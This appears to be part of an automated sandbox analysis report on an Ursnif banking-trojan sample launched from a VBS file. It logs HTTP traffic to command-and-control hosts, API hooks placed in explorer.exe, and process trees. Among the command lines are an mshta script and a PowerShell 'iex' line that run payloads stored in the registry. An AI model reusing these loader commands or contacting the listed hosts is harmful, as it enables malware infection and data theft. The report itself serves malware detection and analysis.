1c 27 e4 ff f8 ed 8c 53 c2 a4 9a ad fe 7d c9 57 1e f2 ae f2 d6 35 08 89 64 bd 41 a1 00 d8 bb 74 05 14 0c 5e ca 85 87 26 07 a5 14 0f 34 11 c2 c5 18 a1 ed ce fd da 89 22 fb f0 a7 a2 50 4a 11 f6 48 c3 b2 8a f3 91 ca 09 4a d9 01 f7 fb 10 4d a4 ed cd 67 f7 fa bf df 33 2d 23 30 89 ba 79 e8 a3 8e 23 56 d9 30 2e 33 d2 7b 11 d1 09 3f 4a 40 d9 21 e7 c3 99 10 06 48 49 e6 26 34 2f c8 84 6f b9 66 4b 96 6e 4d 8a 42 85 99 f6 5f 76 29 de 4e c0 fb 1d 3a 19 52 46 73 7a 7f e9 46 b5 05 4b 3e 44 54 27 2b d1 39 05 34 e3 7e 5b e3 e8 52 d3 26 d5 f4 0e c9 1e 3e 6f 47 1f 11 ed 46 0f 00 f0 d5 53 bd 47 1f 3e ad 02 09 9b 96 3d ce 9d cc 58 7d 5e 62 8b 69 88 05 00 61 0d b0 69 2c da a1 ec e0 02 19 38 28 c5 c3 c1 00 80 82 e8 27 0d 0c 48 62 cf b4 e4 fb fa 1e 90 42 0e d8 9a 95 7b f2 ae 5f f6 77 d3 ea f5 b8 f3 4e 21 a0 bc 9b e0 df 6e 4c 75 0c 36 Data Ascii: vt"t\|NA[u=W>3uskiE!wMebOTK!Rc0ks/:Qlfc',y1h$T$7.RuMtc;PWS$<\q4jmZi'J?~83F%B`D/G0Kb"A_,~O#::a}A}%Edjn)m2m"=yr0TSQ(wX^y-u1XB!gi4c}D]!>zr!013%<Mw^OQ~5>"A>GE+,WpSH4fExY$1".P!h.7y6\|o%:LSsV8<JCsXhF=h0773D ?*T5_[fTA)=]ShZBWfrre('S}W5dAt^&4"PJHJMg3-#0y#V0.3{?J@!HI&4/ofKnMB_v)N:RFszFK>DT'+94~[R&>oGFSG>=X}^biai,8('HbB{_wN!nLu6

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49819	185.251.90.253	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Sep 10, 2021 11:13:45.468758106 CEST	8471	OUT	GET /yycLCxNRZEFU2J4UrQOl/FX7uF3nnSEu1rXBTN4d/LylqoAvPuubQ7SHiRZfBKF/4dapCnHjf6OGO/yl6rivKE/fgvQJKMe8TaTP5ycHGNAJUS/0YTRa2nWMo/en2LMiL2tQIZKUpol/smZ_2B4BmeyI/57ObWaf9NZW/uHAXXMRRQnyL7K/pZ21NZyhAYoU6jMX_2FXx/_2F1viwpW6B_2BQx/yytF1Qgt5sD6QuY/yCiBnG89B2zLl6ouYK/ovFfokaNC/WnbbXZP7gD7mtpGqOSST/2_2Fq_2BjMeuOfq6Yo5/TugSOTNVmBx8AK0VzEQO9D/fxXdG0idPk4t/207vRTOEh/oW HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:90.0) Gecko/20100101 Firefox/90.0 Host: atl.bigbigpoppa.com
Sep 10, 2021 11:13:45.958228111 CEST	8473	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Sep 2021 09:13:45 GMT Content-Type: application/octet-stream Content-Length: 247965 Connection: close Pragma: public Accept-Ranges: bytes Expires: 0 Cache-Control: must-revalidate, post-check=0, pre-check=0 Content-Disposition: inline; filename="613b21c9e3005.bin" Strict-Transport-Security: max-age=63072000; includeSubdomains X-Content-Type-Options: nosniff Data Raw: df af 1f 2c c7 7a 76 2e c4 65 52 d8 c5 96 95 66 6a 34 f7 62 f3 c6 81 d9 07 0e bc 4f 56 08 9d 0e 1c 30 b4 bc 8a 54 30 49 14 87 4f 11 78 79 9f a5 a3 c1 f0 f2 71 2a ab 5d ad b6 19 fb 7b e5 e8 5b b1 62 55 09 08 fa c4 b5 12 c3 58 e0 61 dc 69 59 43 ce 7f 7f be b9 36 0f 6f 2d cb 03 0c d4 8d ae 5e 2a 57 59 70 5a c4 7f 2f 72 cd e3 ba d8 80 d9 b2 c2 8d 36 2b 7d ec 9a d1 b3 92 2d dc 89 30 84 5d 9f f1 67 43 50 67 cc 6a 54 29 3d d6 af a8 16 68 8b 15 cd 1d f4 eb 98 08 70 c8 a5 8a c3 af e2 e1 69 de 42 28 d0 e9 c8 68 6d 52 20 18 a9 57 02 5d 75 76 9a 12 b6 c4 3e 11 ce 5b da e7 66 f2 d6 01 98 15 84 59 bf 42 3a e6 5e dd 98 29 46 a9 d9 33 3a 8d 4f f4 ac 9c ba 0f 5a 3d 9b 82 78 38 73 e6 b5 cc fe 07 e1 cd 3d c3 bc bd 64 86 62 56 ad c9 8a 57 f7 4e 67 9c 19 37 56 46 21 d2 be ee 2a 75 32 18 f6 b7 17 1d 9f bb 4d 5f 52 cd 18 c5 8e 3c 94 fc 59 3b 5a bb af ad d5 e6 75 99 11 80 40 1a fa fd 9d 25 e5 7b f8 e3 92 5d 13 32 74 46 66 44 f4 f3 8e 21 47 18 9c 4c 91 b6 41 4b 4b f0 af 08 9e f3 4c 5a 25 fd 03 1e b2 09 8f 24 8f f6 be a3 52 9b c9 e9 0c 6a 62 9b 77 94 dc 2f 41 cd cc 76 66 e6 fc 0e 5e 3c 65 ba 6c a0 7b c9 40 af 6e ee 00 e7 c5 62 5e 5d d7 40 0e 9e c3 cb fb 58 34 6e 3e 7e ca 8a 3c d4 5b 01 fc 92 41 bc 19 55 5a 7a 2f 0d 15 e4 db e0 04 58 d9 17 09 24 0f a9 87 2a 33 ff 80 96 5e 10 c5 23 08 84 8b 27 d8 28 72 98 80 ed 0b c1 94 72 4e 1a 87 af 77 e2 f9 55 74 96 83 c4 50 e0 0e da b4 d5 27 2b e9 09 c7 ee e3 3f 06 68 a6 63 ab 09 16 3c 1e c7 a0 69 47 d9 36 00 08 83 b2 99 76 9f f6 8b 62 b1 d9 f4 c3 ed 59 1f 04 14 ef ea 3d 35 8e 61 6b 5f 69 f4 c1 5a 8a e1 c4 28 46 cf 23 fb a9 a8 b3 2e fc 57 52 94 15 c3 0a c3 12 34 b6 d8 a0 0b 1f c0 f2 12 4f 3d 45 b7 9d 3b cf c5 79 c6 be 37 15 1c 53 e5 dc 3e fc 42 e0 4e 9b 3e c4 e6 64 a3 74 23 83 d6 07 0c e1 6b 62 e1 6a a5 7e f7 ca 83 67 30 f8 8a cc c6 47 e6 8c d3 c5 6c 79 f6 f7 79 8b c2 a5 5c 6d 45 a3 37 8d d8 fc d8 99 ef 07 b0 9b 39 83 ff bc b0 6f 4e 5d f9 62 10 42 d6 c8 58 f9 f0 56 ac 6a 96 46 1d f0 6b bd f8 b2 82 69 29 9f a3 fa a7 f4 b5 96 17 09 74 01 5a 9b f5 e1 89 8a dd 96 5c 77 36 9b 1b fe 72 df 5e 6a 1a d5 ff 61 62 fd b1 ea 2d 89 fb d1 11 5c 30 cb ea 6e 42 2d 36 34 c8 a1 93 06 33 c5 8a 81 a6 4a de 57 53 65 11 e7 9c 9d ea 6e aa dc f9 0e 90 ec 29 c5 9f 4e 6b 47 01 13 61 05 77 55 a1 0e 96 ee 2a ed 63 85 62 93 f3 51 68 dd c4 79 b3 40 6f 8f e4 29 2e 5b 5b 31 95 9f 22 ed 22 00 05 35 fa b5 f2 91 73 fa 06 ca c4 85 6f ea 84 12 6f 1d cc e0 7a 7a 41 f5 16 df 63 f2 ce c2 cd 0d f2 fa 10 24 6a e1 e0 fb 5f 7f 4b 0c 50 5d 71 d6 63 38 66 6e f0 ea 85 52 52 f4 4e 32 da 21 a9 2a 30 1d 58 1f 70 0d af 01 71 28 de b7 26 ed 97 36 ca 6b 7e 0b c6 08 74 65 f1 77 c1 28 ab a4 6b 08 e7 fc 68 59 3e 8c 41 10 b0 98 01 4e 57 f8 11 ba 47 df 3d 97 d6 1e 49 e2 f4 66 c3 68 ae 75 3c 6b 70 74 9c 71 ff c1 59 88 e7 ac 4d c7 c5 19 5a 24 6c 08 13 7c d9 Data Ascii: ,zv.eRfj4bOV0T0IOxyq]{[bUXaiYC6o-^WYpZ/r6+}-0]gCPgjT)=hpiB(hmR W]uv>[fYB:^)F3:OZ=x8s=dbVWNg7VF!u2M_R<Y;Zu@%{]2tFfD!GLAKKLZ%$Rjbw/Avf^<el{@nb^]@X4n>~<[AUZz/X$3^#'(rrNwUtP'+?hc<iG6vbY=5ak_iZ(F#.WR4O=E;y7S>BN>dt#kbj~g0Glyy\mE79oN]bBXVjFki)tZ\w6r^jab-\0nB-643JWSen)NkGawUcbQhy@o).[[1""5soozzAc$j_KP]qc8fnRRN2!0Xpq(&6k~tew(khY>ANWG=Ifhu<kptqYMZ$l\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49820	185.251.90.253	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Sep 10, 2021 11:13:46.525415897 CEST	8730	OUT	GET /HIIzq4V5S2buP7HU_2F/DcYCSfdPvqaYNdJRMij7gI/5MXe0SZWrBJ2g/js7YCX8y/fDLeVNWGS38iu6HBSu0eZQC/bmSTwgO68w/mDzLSD0yv5NsCWUYa/KrMPefIXTo7Y/kYocGyKbfHI/qpROOMC7W3BpuS/FiHxn9Vj_2BE_2BRO1MPS/HSvVFR_2FvFubdta/FMJR0bw3OFOckhz/gihVzVqSiIHGsYLcl_/2FiUzDnO5/Znp2qHqDPmJt_2FKhKU2/B1dWx_2FKsmf5DpcS8Z/eu7lOAGu9ogHBSfDIGfPdL/lCnFrX6yLs9rJ/djJKkMKB/PGYeMNf7nd3nwYWaABiF0QM/d HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:90.0) Gecko/20100101 Firefox/90.0 Host: atl.bigbigpoppa.com
Sep 10, 2021 11:13:46.980617046 CEST	8731	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Sep 2021 09:13:46 GMT Content-Type: application/octet-stream Content-Length: 1958 Connection: close Pragma: public Accept-Ranges: bytes Expires: 0 Cache-Control: must-revalidate, post-check=0, pre-check=0 Content-Disposition: inline; filename="613b21cae78b7.bin" Strict-Transport-Security: max-age=63072000; includeSubdomains X-Content-Type-Options: nosniff Data Raw: e9 b6 e3 58 66 dc 15 e4 80 de 6a 7c ed d6 c7 9c 13 7d 2c 30 77 87 0a 58 42 4f 0c 73 1f 5e 59 8b 56 46 5d 4a 82 ce db d3 96 28 96 67 b2 d9 1f 00 59 45 b0 8c b2 61 18 2b 75 9c 48 e8 bf 1e 63 6a 93 01 16 d9 d4 d8 0c 1b 0c 86 dc 63 18 46 b6 8f 9b 93 82 62 69 05 d5 22 40 61 ec 38 93 63 30 cf 27 cf b5 5a 73 96 99 fb 5a 58 26 be 6b cf 20 54 04 07 86 78 37 b8 dc d2 3e 0a 51 0a 93 2e 44 c6 45 b5 97 49 ae 63 08 c1 9a b7 91 3c 36 23 9e 3b 96 a6 8e 27 f3 ae 6d 81 74 d0 a5 ee 42 c9 6e 24 9c 79 77 39 30 c5 ec 88 f0 e0 9d 50 5a 4c 58 4b f3 76 c5 32 5d 99 91 e6 92 45 c8 f0 57 ba d4 51 09 eb 9c 83 ba 5a 63 eb f9 7b bd 94 1e 50 13 84 5b e2 3e 83 f5 22 fd f7 a5 d5 c0 c8 96 9b d1 89 d4 ff 01 22 42 23 46 76 98 d8 4e 56 a0 2f 0d 4a 4d 5d dc a7 4c 96 0f 80 0b 1e 9b 14 eb ce d5 55 5d 16 1b 47 1e 1f a9 b5 09 9e 3b 23 36 8d b3 e8 1d 28 5c f9 37 96 7c a1 c3 f5 07 66 93 ee f9 bb 51 93 46 d0 db b5 0b 9a c3 20 06 22 22 e4 f0 c2 9c 88 3e c3 31 5f 69 91 2c c2 59 c2 97 3a 61 33 85 fb b9 24 5f e1 e8 cf b8 e3 35 49 b3 47 1b b8 85 13 13 5d 52 2f e4 3d e9 1e f8 5d c0 92 68 34 a9 42 63 94 9f f4 75 15 d2 f9 0e f7 66 3a 25 73 77 bf 67 ff 68 e9 69 1a 8b 64 84 99 dc cb 68 2e d3 d5 fe 14 6c 30 11 29 61 8c 54 d8 17 6a cb 99 62 90 fc f1 30 cd 6d 51 80 9e 75 62 c1 1c 7c 57 58 13 3b 80 77 28 fd 65 bc 66 c2 a7 31 79 83 9a 47 db 81 bb 35 2f 99 6d ba 2d e0 66 0e 08 a2 70 b9 83 3b 89 0b d3 35 82 68 71 06 0b 96 ce 50 4d e4 4f 7c 23 88 92 17 23 c4 07 bb 49 7f 90 42 e4 bf ad cb cb f1 df e8 96 37 66 4f 9e b3 4a d6 5f 60 90 f2 c4 48 9a b3 c1 e1 eb 37 68 39 7a bc 39 fa 83 97 35 b0 cc 5c e1 53 7d a5 5d 6a 46 58 4e 9d bc fd 4f 3d 45 61 4d 82 5d b3 10 69 48 c1 b2 70 04 dc 93 d8 3c 56 a3 d5 ee 7e 44 ca 1e 61 34 d1 c7 f1 a0 92 15 f3 f3 36 c8 6c ea c3 8e 25 3f 86 c1 a0 75 9f cc 7c 43 24 32 f7 8d 06 b5 06 d1 10 f0 43 fa 6b f5 9c 55 fd dd 68 55 7d c7 be e4 c7 3f d6 77 a6 c1 45 1b ba 8b 0a 49 30 a4 cd 6b ad 96 e8 47 a7 f2 6a d2 3e 01 6f de d4 5a 0e 02 e8 d7 fd f8 a3 aa 82 be 26 06 29 29 09 d5 da 13 c1 75 c7 79 88 5d 50 40 66 65 8f b4 05 60 0f fb df 9a dc 52 f1 6a 63 6a bc b3 a6 8a 16 e7 3d a4 a8 34 13 44 aa 5a 2d e6 36 c9 2e bd 77 65 3b b9 50 e7 99 90 45 30 32 db 1d 21 50 ea a2 ee 3b 31 cc c4 af 6d 00 78 ac d7 f0 c2 69 59 02 f7 00 c9 6c 34 d8 4b b1 ae 6d 03 fd f7 1a 3e 5c 32 39 e7 6c 03 88 59 35 98 18 6c b7 40 cc da 2f 04 5f bf 74 8d c4 d0 d1 07 7c 15 cb aa a4 c7 a9 1c 38 25 69 b5 02 1a ab d3 d2 4f 0f 5c 4b b7 35 83 f2 62 3b f9 cd 8c ae a7 f0 9c 1c 31 eb ce 61 97 43 71 13 59 7d ae 6a e6 44 ae 7a 26 c7 83 78 11 a7 15 59 ec e2 f5 f1 32 46 57 ca ec 7d 98 3c 7a c4 6a 15 38 62 ec 4f d3 da 63 c5 8c 7c 6f 3b 34 3f ec 97 c7 99 0b f4 6f 3e 13 27 05 f1 80 9e d1 1b 64 98 22 e7 ea ed 98 35 98 c2 d5 07 34 43 40 b4 bb 67 43 35 a8 23 ca 1d ca 12 66 6a 7e 03 2d d4 61 26 b4 1d b6 cd f9 0b c6 7f Data Ascii: Xfj\|},0wXBOs^YVF]J(gYEa+uHcjcFbi"@a8c0'ZsZX&k Tx7>Q.DEIc<6#;'mtBn$yw90PZLXKv2]EWQZc{P[>""B#FvNV/JM]LU]G;#6(\7\|fQF "">1_i,Y:a3$_5IG]R/=]h4Bcuf:%swghidh.l0)aTjb0mQub\|WX;w(ef1yG5/m-fp;5hqPMO\|##IB7fOJ_`H7h9z95\S}]jFXNO=EaM]iHp<V~Da46l%?u\|C$2CkUhU}?wEI0kGj>oZ&))uy]P@fe`Rjcj=4DZ-6.we;PE02!P;1mxiYl4Km>\29lY5l@/_t\|8%iO\K5b;1aCqY}jDz&xY2FW}<zj8bOc\|o;4?o>'d"54C@gC5#fj~-a&

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	49821	185.251.90.253	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Sep 10, 2021 11:14:24.508800030 CEST	8734	OUT	GET /M0s2qYX0svCgNwwi/PPI7Xc5SLSkLQIY/5lrOW2oNgPCEjObB3W/rK9MpeZNZ/UBjNTHqn019AlZCIEx5P/tkwag9cTBuiHiomNMOd/c4Fs5ApV0T_2BnjVwW3gyf/bJPiicUJ8f_2F/p_2BzDHN/AttyzxcYoU5_2FqrCObbGoi/jSm_2BVGxu/KGJY3tUfrdwytDYZ_/2BjCzYCnXysU/C2JbU3dlXVl/5uJ7MQlXxw8eLV/q0zaTcL3CTeSA980379DA/dHPHAS9NwOC9V6VK/lP_2FDVrlGe4ayd/LAmEzNRn3GukTSqHPk/HGsc32BVj/4Gvn4Q9G8MH6Q5yTHXJc/ulutZq7s HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Host: art.microsoftsofymicrosoftsoft.at
Sep 10, 2021 11:14:25.026961088 CEST	8734	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Sep 2021 09:14:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=63072000; includeSubdomains X-Content-Type-Options: nosniff Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.6	49822	185.251.90.253	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Sep 10, 2021 11:14:25.124227047 CEST	8736	OUT	POST /W7oPFKe8v92MJK/3s9n12Zlxxip0RpYqadjX/SO7W1_2FF9Pkd4OV/Fr1cAJR5yzwxrV5/Jx7W_2FGpEVbkHb92i/nk7onhk3e/t3LARu0x8PsikCuNcG3A/xVZtlmy23EEwScpeJDo/wvuFYBZUTBSU84oV7Elz6G/vj_2F1HMVCKsF/ltj9usP8/bN_2Bx9_2BXwYInwNajYI72/h9Hrv5vhx_/2F82si9cIkqX7v6R4/9UOOaco5x39h/66X8TzwdR07/vkpw_2FwebnNKA/xttU1J1hU1aqHEwJ_2BPb/e_2FLASBRA3M51hv/aDQxYMFh2bS_2BM53oI/t HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Content-Length: 2 Host: art.microsoftsofymicrosoftsoft.at
Sep 10, 2021 11:14:25.654230118 CEST	8736	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Sep 2021 09:14:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=63072000; includeSubdomains X-Content-Type-Options: nosniff Data Raw: 62 30 0d 0a 19 9c 8f 14 5b e0 f0 8f 44 d5 b3 b1 b8 a8 31 e8 ea 02 5a b2 11 aa 5f 9d 9d d1 11 25 2c aa 19 08 f0 56 c3 59 3f 83 af 43 a5 ac 32 3f b9 77 47 e2 28 51 16 86 34 8b e0 84 1e 85 c3 8b 75 c8 f9 ac 17 62 5b 8f 9b fd c1 54 41 fb 72 2c a4 fc 49 85 0b 79 2a 6c 52 85 4e 54 4c 7e ff ef a9 3d 93 6b d8 f0 20 b0 23 f1 3e 3c f6 b0 66 8d 40 30 f7 bd 6f f7 84 5e 14 eb bf 5e a0 c4 51 ee a8 18 4a 5d de ea 48 42 6b 34 84 eb cd f6 f5 e4 06 1a b4 bd bb 26 ce 3c cf 0b 41 88 c4 de 21 51 04 bd c7 01 40 8d 32 b3 02 28 db 4a 22 e5 7c 09 40 21 a4 3a 0d 0a 30 0d 0a 0d 0a Data Ascii: b0[D1Z_%,VY?C2?wG(Q4ub[TAr,Iy*lRNTL~=k #><f@0o^^QJ]HBk4&<A!Q@2(J"\|@!:0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.6	49823	185.251.90.253	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Sep 10, 2021 11:14:35.762507915 CEST	8737	OUT	POST /08OHsz1N1FvuG6kjmE/aTh0zMsnZ/SI0oUmCO_2BS5MoLEECj/uZ7K5bJdnYQx3WN05uH/v_2Fm83_2BmFHvZHPW65zA/GW0_2BJDiUD1w/ZK6b_2Bh/StY6HpePFkaOsmwn5z64jk4/hNqOPWlFAk/QdUHTQ0be2zDX_2Bp/gFERm0UEw08y/zSKvozh3BGq/IuojbbR5mE_2FM/dq0z5j8vfE1Mb6ztPRP2X/B41DadMfELfCe7ey/X881VUbPPRiD756/vcgjm_2B6diCc8QiJ8/zWiCv09og/LPjcs0IySRyGzo4FtAjY/MaQN7Yj0rwdcUGBU3Lw/cxZIrRpMI9kt/XnFePhCWR/v HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=124046255642640572323054504739 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Content-Length: 675 Host: art.microsoftsofymicrosoftsoft.at
Sep 10, 2021 11:14:36.316087961 CEST	8739	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Sep 2021 09:14:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=63072000; includeSubdomains X-Content-Type-Options: nosniff Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
api-ms-win-core-processthreads-l1-1-0.dll:CreateProcessW	IAT	explorer.exe
api-ms-win-core-registry-l1-1-0.dll:RegGetValueW	IAT	explorer.exe
CreateProcessAsUserW	EAT	explorer.exe
CreateProcessAsUserW	INLINE	explorer.exe
CreateProcessW	EAT	explorer.exe
CreateProcessW	INLINE	explorer.exe
CreateProcessA	EAT	explorer.exe
CreateProcessA	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: user32.dll

Function Name	Hook Type	New Data
api-ms-win-core-processthreads-l1-1-0.dll:CreateProcessW	IAT	7FFD88935200
api-ms-win-core-registry-l1-1-0.dll:RegGetValueW	IAT	4E0777C

Process: explorer.exe, Module: WININET.dll

Function Name	Hook Type	New Data
api-ms-win-core-processthreads-l1-1-0.dll:CreateProcessW	IAT	7FFD88935200
api-ms-win-core-registry-l1-1-0.dll:RegGetValueW	IAT	4E0777C

Process: explorer.exe, Module: KERNEL32.DLL

Function Name	Hook Type	New Data
CreateProcessAsUserW	EAT	7FFD8893521C
CreateProcessAsUserW	INLINE	0xFF 0xF2 0x25 0x50 0x00 0x00
CreateProcessW	EAT	7FFD88935200
CreateProcessW	INLINE	0xFF 0xF2 0x25 0x50 0x00 0x00
CreateProcessA	EAT	7FFD8893520E
CreateProcessA	INLINE	0xFF 0xF2 0x25 0x50 0x00 0x00

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: wscript.exe PID: 3520 Parent PID: 3440

General

Start time:	11:10:12
Start date:	10/09/2021
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\sample.vbs'
Imagebase:	0x7ff60a090000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: WmiPrvSE.exe PID: 2152 Parent PID: 792

General

Start time:	11:13:04
Start date:	10/09/2021
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff7e33a0000
File size:	488448 bytes
MD5 hash:	A782A4ED336750D10B3CAF776AFE8E70
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: rundll32.exe PID: 3540 Parent PID: 2152

General

Start time:	11:13:06
Start date:	10/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 C:\Users\user\AppData\Local\Temp\fum.cpp,DllRegisterServer
Imagebase:	0x7ff60c3c0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: rundll32.exe PID: 6704 Parent PID: 3540

General

Start time:	11:13:06
Start date:	10/09/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32 C:\Users\user\AppData\Local\Temp\fum.cpp,DllRegisterServer
Imagebase:	0xf40000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000012.00000003.794954307.0000000005378000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_2, Description: Yara detected Ursnif, Source: 00000012.00000002.871947216.0000000004FFF000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000012.00000003.794836470.0000000005378000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000012.00000003.794735521.0000000005378000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000012.00000003.797221471.0000000005378000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000012.00000003.794770084.0000000005378000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000012.00000003.794874719.0000000005378000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000012.00000003.794800647.0000000005378000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000012.00000003.859811207.0000000005BE8000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_2, Description: Yara detected Ursnif, Source: 00000012.00000003.799908702.000000000527A000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_2, Description: Yara detected Ursnif, Source: 00000012.00000003.799937952.00000000052F9000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000012.00000003.794900142.0000000005378000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000012.00000003.794931081.0000000005378000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000012.00000003.801557253.000000000517C000.00000004.00000040.sdmp, Author: Joe Security
Reputation:	high

Analysis Process: WmiPrvSE.exe PID: 5388 Parent PID: 792

General

Start time:	11:13:43
Start date:	10/09/2021
Path:	C:\Windows\SysWOW64\wbem\WmiPrvSE.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x1300000
File size:	426496 bytes
MD5 hash:	7AB59579BA91115872D6E51C54B9133B
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: WmiPrvSE.exe PID: 2272 Parent PID: 792

General

Start time:	11:13:50
Start date:	10/09/2021
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff7e33a0000
File size:	488448 bytes
MD5 hash:	A782A4ED336750D10B3CAF776AFE8E70
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: mshta.exe PID: 3860 Parent PID: 3440

General

Start time:	11:13:53
Start date:	10/09/2021
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>Dhqv='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Dhqv).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\86EC23E5-2D5A-A875-E71A-B15C0BEE7550\\\DeviceFile'));if(!window.flag)close()</script>'
Imagebase:	0x7ff689d80000
File size:	14848 bytes
MD5 hash:	197FC97C6A843BEBB445C1D9C58DCBDB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: powershell.exe PID: 5104 Parent PID: 3860

General

Start time:	11:13:55
Start date:	10/09/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool))
Imagebase:	0x7ff743d60000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_Ursnif_2, Description: Yara detected Ursnif, Source: 00000016.00000002.890326064.00000200BE266000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Analysis Process: conhost.exe PID: 3284 Parent PID: 5104

General

Start time:	11:13:55
Start date:	10/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff61de10000
